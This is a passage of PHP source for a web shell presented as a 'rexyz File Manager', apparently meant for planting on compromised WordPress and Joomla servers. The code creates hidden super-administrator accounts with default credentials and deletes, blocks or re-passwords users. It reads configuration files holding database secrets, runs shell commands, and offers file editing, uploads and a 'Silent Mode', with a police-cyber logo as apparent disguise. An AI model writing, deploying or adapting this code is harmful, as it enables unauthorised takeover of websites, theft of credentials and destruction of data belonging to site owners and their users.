        $new_id = $wp_conn instanceof mysqli ? mysqli_insert_id($wp_conn) : ($wp_conn instanceof PDO ? $wp_conn->lastInsertId() : 0);
        if (!$new_id) {
            $row = rexyz_db_query($wp_conn, "SELECT ID FROM {$wp_cfg['prefix']}users WHERE user_login='$log_e' LIMIT 1", true);
            $new_id = $row['ID'] ?? 0;
        }
        if ($new_id) {
            $cap_esc = mysqli_real_escape_string($wp_conn instanceof mysqli ? $wp_conn : null ?? '', 'a:1:{s:13:"administrator";b:1;}');
            rexyz_db_exec($wp_conn, "INSERT INTO {$wp_cfg['prefix']}usermeta (user_id, meta_key, meta_value) VALUES ($new_id, '{$wp_cfg['prefix']}capabilities', '$cap_esc')");
            rexyz_db_exec($wp_conn, "INSERT INTO {$wp_cfg['prefix']}usermeta (user_id, meta_key, meta_value) VALUES ($new_id, '{$wp_cfg['prefix']}user_level', '10')");
        }
        $cms_msg = ['type' => 'ok', 'text' => "WordPress: Admin created -> $login / $pass (ID: $new_id)"];
    } else {
        $cms_msg = ['type' => 'err', 'text' => "WordPress: Create admin failed (duplicate?)"];
    }
    $wp_users = rexyz_wp_list_users($wp_conn, $wp_cfg['prefix']);
}

if (isset($_POST['wp_del_user']) && $wp_conn) {
    $uid = (int)$_POST['wp_del_user'];
    rexyz_db_exec($wp_conn, "DELETE FROM {$wp_cfg['prefix']}users WHERE ID=$uid");
    rexyz_db_exec($wp_conn, "DELETE FROM {$wp_cfg['prefix']}usermeta WHERE user_id=$uid");
    $cms_msg = ['type' => 'warn', 'text' => "WordPress: User ID $uid DELETED"];
    $wp_users = rexyz_wp_list_users($wp_conn, $wp_cfg['prefix']);
}

if (isset($_POST['j_reset_user'], $_POST['j_new_pass']) && $joomla_conn) {
    $uid = (int)$_POST['j_reset_user'];
    $hash = rexyz_joomla_hash($_POST['j_new_pass']);
    $hs_esc = mysqli_real_escape_string($joomla_conn instanceof mysqli ? $joomla_conn : null ?? '', $hash);
    rexyz_db_exec($joomla_conn, "UPDATE {$joomla_cfg['prefix']}users SET password='$hs_esc' WHERE id=$uid");
    $cms_msg = ['type' => 'ok', 'text' => "Joomla: User ID $uid password updated -> {$_POST['j_new_pass']}"];
    $joomla_users = rexyz_joomla_list_users($joomla_conn, $joomla_cfg['prefix']);
}

if (isset($_POST['j_add_user']) && $joomla_conn) {
    $login = $_POST['j_u_login'] ?? 'rexyz';
    $email = $_POST['j_u_email'] ?? 'rexyz@localhost.local';
    $pass  = $_POST['j_u_pass'] ?? 'Rexyz@1337';
    $name  = $_POST['j_u_name'] ?? 'REXYZ Administrator';
    $hash  = rexyz_joomla_hash($pass);
    $log_e = mysqli_real_escape_string($joomla_conn instanceof mysqli ? $joomla_conn : null ?? '', $login);
    $em_e  = mysqli_real_escape_string($joomla_conn instanceof mysqli ? $joomla_conn : null ?? '', $email);
    $nm_e  = mysqli_real_escape_string($joomla_conn instanceof mysqli ? $joomla_conn : null ?? '', $name);
    $hs_e  = mysqli_real_escape_string($joomla_conn instanceof mysqli ? $joomla_conn : null ?? '', $hash);
    $sql = "INSERT INTO {$joomla_cfg['prefix']}users (name, username, email, password, `block`, sendEmail, registerDate, lastvisitDate, activation, params, lastResetTime, resetCount)
            VALUES ('$nm_e', '$log_e', '$em_e', '$hs_e', 0, 1, NOW(), '0000-00-00 00:00:00', '', '', '0000-00-00 00:00:00', 0)";
    $ok = rexyz_db_exec($joomla_conn, $sql);
    if ($ok) {
        $new_id = $joomla_conn instanceof mysqli ? mysqli_insert_id($joomla_conn) : ($joomla_conn instanceof PDO ? $joomla_conn->lastInsertId() : 0);
        if (!$new_id) {
            $row = rexyz_db_query($joomla_conn, "SELECT id FROM {$joomla_cfg['prefix']}users WHERE username='$log_e' LIMIT 1", true);
            $new_id = $row['id'] ?? 0;
        }
        if ($new_id) {
            $groups = [8, 7, 6];
            foreach ($groups as $gid) {
                rexyz_db_exec($joomla_conn, "INSERT IGNORE INTO {$joomla_cfg['prefix']}user_usergroup_map (user_id, group_id) VALUES ($new_id, $gid)");
            }
            rexyz_db_exec($joomla_conn, "INSERT IGNORE INTO {$joomla_cfg['prefix']}user_usergroup_map (user_id, group_id) VALUES ($new_id, 8)");
            if (!in_array(1, $groups)) rexyz_db_exec($joomla_conn, "INSERT IGNORE INTO {$joomla_cfg['prefix']}user_usergroup_map (user_id, group_id) VALUES ($new_id, 2)");
        }
        $cms_msg = ['type' => 'ok', 'text' => "Joomla: Super Admin created -> $login / $pass (ID: $new_id)"];
    } else {
        $cms_msg = ['type' => 'err', 'text' => "Joomla: Create admin failed (duplicate?)"];
    }
    $joomla_users = rexyz_joomla_list_users($joomla_conn, $joomla_cfg['prefix']);
}

if (isset($_POST['j_del_user']) && $joomla_conn) {
    $uid = (int)$_POST['j_del_user'];
    rexyz_db_exec($joomla_conn, "DELETE FROM {$joomla_cfg['prefix']}users WHERE id=$uid");
    rexyz_db_exec($joomla_conn, "DELETE FROM {$joomla_cfg['prefix']}user_usergroup_map WHERE user_id=$uid");
    $cms_msg = ['type' => 'warn', 'text' => "Joomla: User ID $uid DELETED"];
    $joomla_users = rexyz_joomla_list_users($joomla_conn, $joomla_cfg['prefix']);
}

if (isset($_POST['j_toggle_block']) && $joomla_conn) {
    $uid = (int)$_POST['j_toggle_block'];
    $row = rexyz_db_query($joomla_conn, "SELECT `block` FROM {$joomla_cfg['prefix']}users WHERE id=$uid LIMIT 1", true);
    $new = $row && $row['block'] == 1 ? 0 : 1;
    rexyz_db_exec($joomla_conn, "UPDATE {$joomla_cfg['prefix']}users SET `block`=$new WHERE id=$uid");
    $cms_msg = ['type' => 'warn', 'text' => "Joomla: User ID $uid " . ($new ? 'BLOCKED' : 'UNBLOCKED')];
    $joomla_users = rexyz_joomla_list_users($joomla_conn, $joomla_cfg['prefix']);
}

$joomla_cats = null; $joomla_articles = null; $joomla_config_content = null; $wp_config_content = null;
if ($joomla_conn && ($cms_active === 'joomla' || isset($_GET['j_action']))) {
    if (isset($_GET['j_action']) && $_GET['j_action'] === 'categories') {
        $joomla_cats = rexyz_db_query($joomla_conn, "SELECT id, title, alias, state, access, created_time, hits FROM {$joomla_cfg['prefix']}categories ORDER BY id DESC LIMIT 100");
    }
    if (isset($_GET['j_action']) && $_GET['j_action'] === 'articles') {
        $joomla_articles = rexyz_db_query($joomla_conn, "SELECT id, title, alias, state, catid, created, access, hits FROM {$joomla_cfg['prefix']}content ORDER BY id DESC LIMIT 100");
    }
    if (isset($_GET['j_action']) && $_GET['j_action'] === 'configuration') {
        $joomla_config_content = @file_get_contents($cms_found['joomla']);
    }
}
if ($wp_conn && ($cms_active === 'wordpress' || isset($_GET['wp_action']))) {
    if (isset($_GET['wp_action']) && $_GET['wp_action'] === 'configuration') {
        $wp_config_content = @file_get_contents($cms_found['wordpress']);
    }
}

$edit_file = isset($_GET['edit']) ? $_GET['edit'] : null;
$edit_content = $edit_file ? htmlspecialchars(@file_get_contents($edit_file)) : '';

$files = @scandir($root);
$dirs = []; $files_list = [];
if ($files) {
    foreach ($files as $f) {
        if ($f === '.' || $f === '..') continue;
        $p = $root . '/' . $f;
        if (is_dir($p)) $dirs[] = $f; else $files_list[] = $f;
    }
}
sort($dirs); sort($files_list);

$cr = explode(" ", php_uname());
$os_name = $cr[0] . ' ' . ($cr[2] ?? '');
$auth_user = trim(exec('whoami 2>/dev/null') ?: ('u' . getmyuid()));
$auth_user = $auth_user ? explode("\n", $auth_user)[0] : ('u' . getmyuid());
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>rexyz File Manager</title>
<link rel="icon" type="image/png" href="https://i.ibb.co/bj0RsFbr/Logo-Siber-Polri.png">
<style>
* { margin:0; padding:0; box-sizing:border-box; }
body {
    background:#16162b;
    color:#c9d1e0;
    font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif;
    font-size:13.5px;
    line-height:1.5;
    min-height:100vh;
}
a { color:inherit; text-decoration:none; }
a:hover { opacity:.85; }

/* ===== HEADER ===== */
.topbar {
    background:linear-gradient(180deg,#1e1f3a 0%,#181933 100%);
    border-bottom:1px solid rgba(120,120,220,.18);
    padding:16px 28px;
    display:flex;
    align-items:center;
    gap:22px;
    flex-wrap:wrap;
}
.logo-area { display:flex; align-items:center; gap:14px; min-width:260px; }
.avatar {
    width:48px; height:48px; border-radius:10px;
    background:linear-gradient(135deg,#f5d442,#e8a816);
    display:flex; align-items:center; justify-content:center;
    font-size:22px; color:#1a1a2e; font-weight:900;
    box-shadow:0 6px 18px rgba(245,212,66,.25);
    overflow:hidden;
}
.avatar img {
    width:100%; height:100%; object-fit:cover;
}
.titles .t1 {
    color:#f5d442; font-size:20px; font-weight:800; letter-spacing:.3px; line-height:1.1;
}
.titles .t2 {
    color:#76c7ff; font-size:14px; font-weight:600; margin-top:2px;
}
.titles .t3 {
    color:#6a6d85; font-size:11px; margin-top:2px; letter-spacing:.3px;
}
.info-pills { display:flex; gap:10px; flex-wrap:wrap; flex:1; }
.pill {
    background:#141425;
    border:1px solid rgba(120,120,220,.22);
    border-radius:8px;
    padding:6px 14px;
    font-size:12px;
    color:#aab3c5;
    display:flex; align-items:center; gap:6px;
}
.pill b { color:#e8ecf5; font-weight:600; }
.pill .dot {
    width:7px; height:7px; border-radius:50%;
    background:#52c41a; box-shadow:0 0 8px #52c41a;
}
.auth-area { display:flex; gap:10px; align-items:center; }
.btn-logout {
    background:linear-gradient(135deg,#ff5470,#c41e3a);
    color:#fff; border:none; border-radius:8px;
    padding:7px 16px; font-size:12px; font-weight:600;
    cursor:pointer; font-family:inherit;
    display:flex; align-items:center; gap:5px;
}
.btn-logout:hover { box-shadow:0 6px 18px rgba(255,84,112,.35); }
.silent-toggle {
    background:#141425; border:1px solid rgba(120,120,220,.25);
    border-radius:8px; padding:6px 14px; font-size:12px;
    display:flex; align-items:center; gap:8px; cursor:pointer;
    color:#aab3c5; font-weight:500;
}
.silent-toggle.on { border-color:rgba(245,212,66,.5); color:#f5d442; }
.silent-toggle .sw {
    width:28px; height:15px; border-radius:10px;
    background:#3a3a55; position:relative; transition:all .2s;
}
.silent-toggle.on .sw { background:linear-gradient(135deg,#f5d442,#e8a816); }
.silent-toggle .sw::after {
    content:''; position:absolute; top:2px; left:2px;
    width:11px; height:11px; border-radius:50%; background:#fff;
    transition:all .2s;
}
.silent-toggle.on .sw::after { left:15px; background:#1a1a2e; }

/* ===== MAIN ===== */
.main { padding:24px 28px; max-width:1600px; margin:0 auto; }

.msg {
    padding:12px 18px; border-radius:10px; margin-bottom:20px;
    font-size:13px; font-weight:500;
    display:flex; align-items:center; gap:10px;
}
.msg.ok { background:rgba(82,196,26,.12); border:1px solid rgba(82,196,26,.3); color:#52c41a; }
.msg.warn { background:rgba(245,212,66,.12); border:1px solid rgba(245,212,66,.3); color:#f5d442; }
.msg.err { background:rgba(255,84,112,.12); border:1px solid rgba(255,84,112,.3); color:#ff5470; }

.card {
    background:#1b1c32;
    border:1px solid rgba(120,120,220,.18);
    border-radius:12px;
    padding:20px;
    margin-bottom:20px;
    box-shadow:0 1px 0 rgba(255,255,255,.04) inset;
}
.card-h {
    display:flex; align-items:center; justify-content:space-between;
    margin-bottom:16px; gap:12px; flex-wrap:wrap;
}
.card-h .ct {
    display:flex; align-items:center; gap:10px;
    font-size:11.5px; font-weight:700; letter-spacing:1px;
    color:#6a6d85; text-transform:uppercase;
}
.card-h .ct::before {
    content:''; width:3px; height:14px; border-radius:2px;
    background:linear-gradient(180deg,#f5d442,#e8a816);
}

/* ===== BUTTONS ===== */
.btns { display:flex; gap:8px; flex-wrap:wrap; }
.btn {
    display:inline-flex; align-items:center; gap:6px;
    border:none; border-radius:8px; padding:7px 14px;
    font-size:12.5px; font-weight:600; cursor:pointer;
    font-family:inherit; white-space:nowrap;
    transition:all .18s; color:#fff;
}
.btn:hover { transform:translateY(-1px); filter:brightness(1.1); }
.btn:active { transform:translateY(0); }
.btn-default { background:#252648; border:1px solid rgba(120,120,220,.3); color:#b5bcd0; }
.btn-default:hover { background:#2e3058; }
.btn-gold { background:linear-gradient(135deg,#f5d442,#e8a816); color:#1a1a2e; }
.btn-cyan { background:linear-gradient(135deg,#36cfc9,#13a8a8); color:#002329; }
.btn-pink { background:linear-gradient(135deg,#ff85c0,#c41d7f); color:#fff; }
.btn-orange { background:linear-gradient(135deg,#ffa940,#d46b08); color:#1a0d00; }
.btn-green { background:linear-gradient(135deg,#73d13d,#389e0d); color:#0a1a00; }
.btn-purple { background:linear-gradient(135deg,#b37feb,#531dab); color:#fff; }
.btn-blue { background:linear-gradient(135deg,#40a9ff,#096dd9); color:#e6f4ff; }
.btn-red { background:linear-gradient(135deg,#ff7875,#cf1322); color:#fff; }
.btn-dark { background:#141425; border:1px solid rgba(120,120,220,.3); color:#b5bcd0; }

/* ===== DIR BAR ===== */
.dirbar {
    background:#141425; border:1px solid rgba(120,120,220,.22);
    border-radius:10px; padding:12px 18px; margin-bottom:18px;
    display:flex; align-items:center; gap:6px; flex-wrap:wrap;
    font-family:"SF Mono",Consolas,"Courier New",monospace; font-size:12.5px;
}
.dirbar .lbl { color:#6a6d85; font-weight:700; margin-right:6px; letter-spacing:.5px; }
.dirbar .c { color:#868ca0; }
.dirbar a { color:#76c7ff; }
.dirbar a:hover { color:#fff; text-decoration:underline; }

/* ===== CMD BAR ===== */
.cmdbg {
    background:#0f1020; border:1px solid rgba(120,120,220,.22);
    border-radius:10px; padding:14px 18px; margin-bottom:20px;
    font-family:"SF Mono",Consolas,"Courier New",monospace;
}
.cmdrow { display:flex; align-items:center; gap:10px; }
.cmdprompt { color:#52c41a; font-weight:700; white-space:nowrap; font-size:13px; }
.cmdprompt .u { color:#f5d442; }
.cmdprompt .h { color:#76c7ff; }
.cmdbg input[type=text] {
    flex:1; background:transparent; border:none; outline:none;
    color:#e8ecf5; font-family:inherit; font-size:13px; padding:4px;
}
.cmdmeta { margin-top:10px; display:flex; gap:18px; flex-wrap:wrap; font-size:11px; color:#6a6d85; }
.cmdmeta span b { color:#aab3c5; }
.cmdmeta .ok { color:#52c41a; font-weight:600; }
.cmdout {
    margin-top:14px; background:#0a0b18; border-radius:8px;
    padding:14px; color:#b5bcd0; max-height:260px; overflow:auto;
    font-size:12px; white-space:pre-wrap; word-break:break-all;
    border:1px solid rgba(120,120,220,.1);
}

/* ===== TABLES ===== */
.tbl-wrap { overflow-x:auto; border-radius:10px; border:1px solid rgba(120,120,220,.14); }
table.fmt { width:100%; border-collapse:collapse; background:#17182e; }
table.fmt th {
    background:#12132a; color:#6a6d85; font-size:11px; font-weight:700;
    letter-spacing:1px; text-transform:uppercase; text-align:left;
    padding:12px 16px; border-bottom:1px solid rgba(120,120,220,.22);
    white-space:nowrap;
}
table.fmt td {
    padding:11px 16px; border-bottom:1px solid rgba(120,120,220,.08);
    font-size:13px; vertical-align:middle;
}
table.fmt tr:last-child td { border-bottom:none; }
table.fmt tr:hover td { background:rgba(120,120,220,.05); }
.fname { display:flex; align-items:center; gap:10px; font-weight:500; }
.fname .ic { font-size:18px; }
.fname.folder .ic { color:#f5d442; }
.fname.folder .n { color:#f5d442; font-weight:600; }
.t-type { color:#76c7ff; font-weight:500; }
.t-size { color:#e8ecf5; font-weight:500; }
.t-perm { color:#52c41a; font-weight:600; font-family:"SF Mono",Consolas,monospace; }
.t-perm.readonly { color:#ff9c6e; }
.rowops { display:flex; gap:6px; flex-wrap:wrap; }
.oplink {
    display:inline-block; padding:3px 9px; border-radius:6px;
    font-size:11px; font-weight:600; cursor:pointer;
    background:rgba(120,120,220,.1); color:#aab3c5;
    border:1px solid rgba(120,120,220,.18);
    transition:all .15s;
}
.oplink:hover { background:rgba(120,120,220,.2); color:#fff; }
.oplink.dl { color:#76c7ff; border-color:rgba(118,199,255,.25); background:rgba(118,199,255,.08); }
.oplink.ed { color:#f5d442; border-color:rgba(245,212,66,.3); background:rgba(245,212,66,.08); }
.oplink.sc { color:#52c41a; border-color:rgba(82,196,26,.3); background:rgba(82,196,26,.08); }
.oplink.cm { color:#b37feb; border-color:rgba(179,127,235,.3); background:rgba(179,127,235,.08); }
.oplink.dt { color:#36cfc9; border-color:rgba(54,207,201,.3); background:rgba(54,207,201,.08); }
.oplink.dt:hover { background:rgba(54,207,201,.2); }
.oplink.rm { color:#ff7875; border-color:rgba(255,120,117,.3); background:rgba(255,120,117,.08); }
.oplink.rm:hover { background:rgba(255,120,117,.18); }

/* ===== F-TIME MODAL ===== */
.ftime-modal{position:fixed;inset:0;background:rgba(10,10,18,.82);z-index:999998;display:none;align-items:center;justify-content:center;padding:20px;backdrop-filter:blur(6px);}
.ftime-modal.show{display:flex;}
.ftime-card{width:100%;max-width:480px;background:#1b1c32;border:1px solid rgba(120,120,220,.25);border-radius:14px;padding:28px 26px;box-shadow:0 30px 80px rgba(0,0,0,.55);}
.ftime-card h3{color:#f5d442;font-size:18px;font-weight:800;margin-bottom:6px;}
.ftime-card .sub{color:#76c7ff;font-size:12.5px;margin-bottom:18px;opacity:.9;}
.ftime-card .fpath{background:#131324;border:1px solid rgba(120,120,220,.18);border-radius:8px;padding:9px 12px;font-family:"SF Mono",Consolas,monospace;font-size:11.5px;color:#c9d1e0;word-break:break-all;margin-bottom:18px;}
.ftime-field{margin-bottom:13px;}
.ftime-field label{display:block;font-size:10.5px;color:#8899bb;margin-bottom:5px;font-weight:700;letter-spacing:.6px;text-transform:uppercase;}
.ftime-field input{width:100%;background:#131324;border:1px solid rgba(120,120,220,.22);border-radius:8px;color:#eef;padding:10px 12px;font-size:13px;font-family:inherit;outline:none;transition:all .18s;}
.ftime-field input:focus{border-color:#36cfc9;box-shadow:0 0 0 3px rgba(54,207,201,.12);}
.ftime-field .hint{margin-top:4px;font-size:10.5px;color:#6a6d85;letter-spacing:.2px;}
.ftime-actions{display:flex;gap:10px;margin-top:18px;}
.ftime-actions .btn{flex:1;}
.msg-ftime{margin-top:10px;padding:10px 14px;border-radius:8px;font-size:13px;font-weight:500;}
.msg-ftime.ok{background:rgba(54,207,201,.1);border:1px solid rgba(54,207,201,.28);color:#36cfc9;}
.msg-ftime.err{background:rgba(255,70,70,.1);border:1px solid rgba(255,70,70,.28);color:#ff7070;}

/* ===== RISK BADGE ===== */
.risk {
    display:inline-flex; align-items:center; gap:5px;
    padding:4px 10px; border-radius:6px; font-size:11px; font-weight:800;
    letter-spacing:.4px; text-transform:uppercase;
}
.risk::before { content:''; width:7px; height:7px; border-radius:50%; background:currentColor; }

/* ===== SCAN FORM ===== */
.scanform {
    display:flex; gap:10px; flex-wrap:wrap; align-items:center;
    background:#141425; border:1px solid rgba(120,120,220,.2);
    padding:12px 16px; border-radius:10px;
}
.scanform input[type=text] {
    flex:1; min-width:250px; background:#0f1020;
    border:1px solid rgba(120,120,220,.25); color:#e8ecf5;
    padding:8px 12px; border-radius:7px; font-family:inherit; font-size:13px;
    outline:none; transition:border-color .15s;
}
.scanform input[type=text]:focus { border-color:#f5d442; }
.checkbox {
    display:inline-flex; align-items:center; gap:6px;
    color:#aab3c5; font-size:12px; font-weight:500; cursor:pointer;
}
.scanlegend {
    margin-top:12px; font-size:11.5px; color:#6a6d85;
    display:flex; flex-wrap:wrap; gap:14px; line-height:1.7;
}
.scanlegend b { color:#aab3c5; }

/* ===== MODAL FORM ===== */
.inline-forms {
    display:grid; grid-template-columns:repeat(auto-fit,minmax(260px,1fr));
    gap:10px; margin-top:12px;
}
.inline-forms form {
    background:#141425; border:1px solid rgba(120,120,220,.18);
    border-radius:10px; padding:12px 14px;
}
.inline-forms h4 {
    font-size:11px; color:#6a6d85; margin-bottom:8px;
    text-transform:uppercase; letter-spacing:.8px; font-weight:700;
}
.inline-forms input[type=text], .inline-forms input[type=file],
.inline-forms input[type=password] {
    width:100%; background:#0f1020; border:1px solid rgba(120,120,220,.22);
    color:#e8ecf5; padding:7px 10px; border-radius:6px;
    font-family:inherit; font-size:12.5px; margin-bottom:8px; outline:none;
}
.inline-forms input:focus { border-color:#f5d442; }
.inline-forms select {
    background:#0f1020; border:1px solid rgba(120,120,220,.22);
    color:#e8ecf5; padding:7px 10px; border-radius:6px;
    font-family:inherit; font-size:12.5px; margin-bottom:8px;
}

/* ===== FOOTER ===== */
.footer {
    text-align:center; padding:30px 0 10px;
    font-size:11px; color:#4a4d68; letter-spacing:.5px;
}

/* ===== EDITOR ===== */
.ed-info {
    background:rgba(245,212,66,.1); border:1px solid rgba(245,212,66,.25);
    border-radius:8px; padding:10px 14px; margin-bottom:12px;
    font-size:12.5px; color:#f5d442; font-family:"SF Mono",Consolas,monospace;
}
textarea.editor {
    width:100%; min-height:400px; background:#0a0b18;
    border:1px solid rgba(120,120,220,.22); color:#e8ecf5;
    padding:16px; border-radius:10px; font-family:"SF Mono",Consolas,monospace;
    font-size:12.5px; line-height:1.6; resize:vertical; outline:none;
}
textarea.editor:focus { border-color:#f5d442; box-shadow:0 0 0 3px rgba(245,212,66,.1); }
.ed-actions { margin-top:12px; display:flex; gap:10px; }

/* ===== FILE RESULTS SUPPLEMENTAL ===== */
.matches {
    margin-top:8px; padding:10px 12px; background:#0f1020;
    border-radius:7px; font-size:11.5px; line-height:1.7;
    border-left:3px solid #ff5470;
}
.matches .grp { color:#ff7875; font-weight:700; }
.rceproof {
    margin-top:6px; color:#ff85c0; font-weight:700; font-size:11.5px;
    display:flex; align-items:center; gap:5px;
}
.rceproof::before { content:'★'; color:#ff85c0; }

/* scrollbar */
::-webkit-scrollbar { width:10px; height:10px; }
::-webkit-scrollbar-track { background:#0f1020; }
::-webkit-scrollbar-thumb { background:#2e3058; border-radius:5px; }
::-webkit-scrollbar-thumb:hover { background:#3d4073; }

/* ===== CMS MODULES ===== */
.cms-tabs { display:flex; gap:6px; margin-bottom:14px; flex-wrap:wrap; }
.cms-tab {
    padding:8px 16px; border-radius:8px; font-size:12.5px; font-weight:700;
    cursor:pointer; border:1px solid rgba(120,120,220,.25); background:#141425; color:#aab3c5;
    display:inline-flex; align-items:center; gap:6px;
}
.cms-tab:hover { background:#252648; }
.cms-tab.active {
    background:linear-gradient(135deg,#f5d442,#e8a816); color:#1a1a2e; border-color:transparent;
    box-shadow:0 4px 12px rgba(245,212,66,.25);
}
.cms-tab .stat-dot {
    width:7px;height:7px;border-radius:50%;background:#ff7875;display:inline-block;
}
.cms-tab .stat-dot.ok { background:#52c41a; box-shadow:0 0 6px #52c41a; }

.cms-actions { display:flex; gap:6px; flex-wrap:wrap; margin-bottom:12px; }
.cms-actions .btn { padding:6px 12px; font-size:11.5px; }

.cms-infobox {
    background:#0f1020; border:1px solid rgba(120,120,220,.18);
    border-radius:8px; padding:10px 14px; font-size:11.5px;
    font-family:"SF Mono",Consolas,monospace; margin-bottom:12px;
    display:grid; grid-template-columns:repeat(auto-fit,minmax(200px,1fr)); gap:8px 20px;
}
.cms-infobox .lbl { color:#6a6d85; font-weight:700; letter-spacing:.3px; }
.cms-infobox .val { color:#e8ecf5; font-weight:500; }

.cmspassform {
    display:inline-flex; gap:4px; align-items:center;
}
.cmspassform input[type=text] {
    background:#0a0b18; border:1px solid rgba(245,212,66,.3); color:#f5d442;
    padding:2px 6px; font-size:10.5px; border-radius:4px; font-family:monospace; width:110px;
}
.cmspassform button {
    background:rgba(245,212,66,.15); color:#f5d442; border:1px solid rgba(245,212,66,.3);
    border-radius:4px; padding:3px 8px; font-size:10.5px; font-weight:700; cursor:pointer;
}
.cmspassform button:hover { background:rgba(245,212,66,.25); }

.cmsdelbtn {
    background:rgba(255,120,117,.12); color:#ff7875; border:1px solid rgba(255,120,117,.3);
    border-radius:4px; padding:3px 8px; font-size:10.5px; font-weight:700; cursor:pointer;
    display:inline-block; margin-left:3px;
}
.cmsdelbtn:hover { background:rgba(255,120,117,.25); }
.cmsblockbtn {
    background:rgba(255,169,64,.12); color:#ffa940; border:1px solid rgba(255,169,64,.3);
    border-radius:4px; padding:3px 8px; font-size:10.5px; font-weight:700; cursor:pointer;
    display:inline-block; margin-left:3px;
}
.cmsblockbtn:hover { background:rgba(255,169,64,.25); }

.cms-config {
    background:#0a0b18; border:1px solid rgba(120,120,220,.18);
    border-radius:8px; padding:14px; font-family:"SF Mono",Consolas,monospace;
    font-size:11.5px; color:#b5bcd0; white-space:pre-wrap; word-break:break-all;
    max-height:300px; overflow:auto; margin-bottom:10px;
}
.rolebadge {
    display:inline-block; padding:2px 7px; border-radius:4px;
    font-size:10px; font-weight:800; letter-spacing:.3px;
}
.rolebadge.admin { background:rgba(245,212,66,.15); color:#f5d442; border:1px solid rgba(245,212,66,.3); }
.rolebadge.user { background:rgba(118,199,255,.12); color:#76c7ff; border:1px solid rgba(118,199,255,.25); }
.rolebadge.blocked { background:rgba(255,120,117,.12); color:#ff7875; border:1px solid rgba(255,120,117,.3); }
.block-yes { color:#ff7875; font-weight:700; }
.block-no { color:#52c41a; font-weight:700; }

.add-admin-form {
    background:#141425; border:1px solid rgba(245,212,66,.22);
    border-radius:10px; padding:14px; margin-bottom:14px;
}
.add-admin-form h4 {
    font-size:11px; color:#f5d442; font-weight:800; letter-spacing:1px;
    text-transform:uppercase; margin-bottom:10px;
}
.grid4 {
    display:grid; grid-template-columns:repeat(auto-fit,minmax(150px,1fr));
    gap:8px; margin-bottom:8px;
}
.grid4 input {
    background:#0f1020; border:1px solid rgba(120,120,220,.22); color:#e8ecf5;
    border-radius:6px; padding:7px 10px; font-family:inherit; font-size:12px; outline:none;
}
.grid4 input:focus { border-color:#f5d442; }
</style>
</head>
<body>

<div class="topbar">
    <div class="logo-area">
        <div class="avatar"><img src="https://i.ibb.co/bj0RsFbr/Logo-Siber-Polri.png" alt="R"></div>
        <div class="titles">
            <div class="t1">rexyz</div>
            <div class="t2">File Manager</div>
            <div class="t3">v1.0</div>
        </div>
    </div>
    <div class="info-pills">
        <div class="pill">
            <span class="dot"></span>
            <b><?php echo htmlspecialchars($os_name); ?></b>
        </div>
        <div class="pill">
            <span style="color:#76c7ff">👤</span>
            <b><?php echo htmlspecialchars($auth_user); ?></b>
        </div>
        <div class="pill">
            <span style="color:#f5d442">🔐</span>
            <b><?php echo $silent_mode ? 'Auth OK' : 'No Auth'; ?></b>
        </div>
    </div>
    <div class="auth-area">
        <a href="<?php echo $self; ?>?toggle_silent=1&root=<?php echo urlencode($root); ?>"
           class="silent-toggle <?php echo $silent_mode ? 'on' : ''; ?>">
            <div class="sw"></div> Silent Mode
        </a>
        <a href="<?php echo $self; ?>?logout=1"><button class="btn-logout">↩ LOGOUT</button></a>
    </div>
</div>

<?php if (isset($upload_msg)): ?>
<div class="msg <?php echo strpos(strtolower($upload_msg),'fail')!==false || strpos(strtolower($upload_msg),'error')!==false ? 'err' : 'warn'; ?>">
    <?php echo strpos(strtolower($upload_msg),'fail')===false && strpos(strtolower($upload_msg),'error')===false ? '💡' : '⚠️'; ?>
    <?php echo htmlspecialchars($upload_msg); ?>
</div>
<?php endif; ?>
<?php if (isset($save_msg)): ?>
<div class="msg ok">✅ <?php echo htmlspecialchars($save_msg); ?></div>
<?php endif; ?>
<?php if (isset($ftime_msg)): ?>
<div class="msg <?php echo !empty($ftime_err) ? 'err' : 'ok'; ?>">⏱️ [TIMESTAMP] <?php echo htmlspecialchars($ftime_msg); ?></div>
<?php endif; ?>
<?php if (isset($delete_result)): ?>
<div class="msg <?php echo $delete_result['status']==='ok' ? 'ok' : 'err'; ?>">
    <?php echo $delete_result['status']==='ok' ? '🗑️' : '❌'; ?>
    [DELETE] <?php echo $delete_result['status']==='ok' ? 'DELETED &rarr; ' . htmlspecialchars($delete_result['path']) : 'ERROR: ' . htmlspecialchars($delete_result['msg'] ?? 'unknown'); ?>
</div>
<?php endif; ?>

<?php if ($cms_msg): ?>
<div class="msg <?php echo $cms_msg['type']==='ok'?'ok':($cms_msg['type']==='warn'?'warn':'err'); ?>">
    <?php echo $cms_msg['type']==='ok'?'✅':($cms_msg['type']==='warn'?'⚠️':'❌'); ?>
    <?php echo htmlspecialchars($cms_msg['text']); ?>
</div>
<?php endif; ?>

<div class="dirbar">
    <span class="lbl">DIR:</span>
    <?php
    $parts = explode('/', $root);
    $acc = '';
    foreach ($parts as $i => $part) {
        if ($part === '' && $i === 0) {
            echo '<a href="' . $self . '?root=/">/</a>';
            $acc = '/';
            continue;
        }
        if ($part === '') continue;
        $acc = rtrim($acc, '/') . '/' . $part;
        echo '<span class="c"> / </span><a href="' . $self . '?root=' . urlencode($acc) . '">' . htmlspecialchars($part) . '</a>';
    }
    ?>
</div>

<div class="card">
    <div class="card-h"><div class="ct">FEATURES</div></div>
    <div class="btns">
        <form method="POST" style="display:inline-flex" onsubmit="var n=prompt('Folder name:');if(!n)return false;var i=document.createElement('input');i.type='hidden';i.name='dirname';i.value=n;this.appendChild(i);">
            <button type="submit" class="btn btn-default">📁 New Folder</button>
        </form>
        <form method="POST" enctype="multipart/form-data" style="display:inline-flex">
            <label class="btn btn-default" style="cursor:pointer">
                ⬆ Upload
                <input type="file" name="file" onchange="this.form.submit()" style="display:none">
            </label>
            <input type="hidden" name="upload" value="1">
        </form>
        <form method="POST" enctype="multipart/form-data" style="display:inline-flex">
            <label class="btn btn-default" style="cursor:pointer">
                ⬆⬆ Multi Upload
                <input type="file" name="files[]" multiple onchange="this.form.submit()" style="display:none">
            </label>
            <input type="hidden" name="multi_upload" value="1">
        </form>
    </div>
</div>

<div class="card">
    <div class="card-h"><div class="ct">SCANNER</div></div>
    <div class="btns" style="margin-bottom:14px">
        <a href="<?php echo $self; ?>?scan=webshell&root=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($root); ?>">
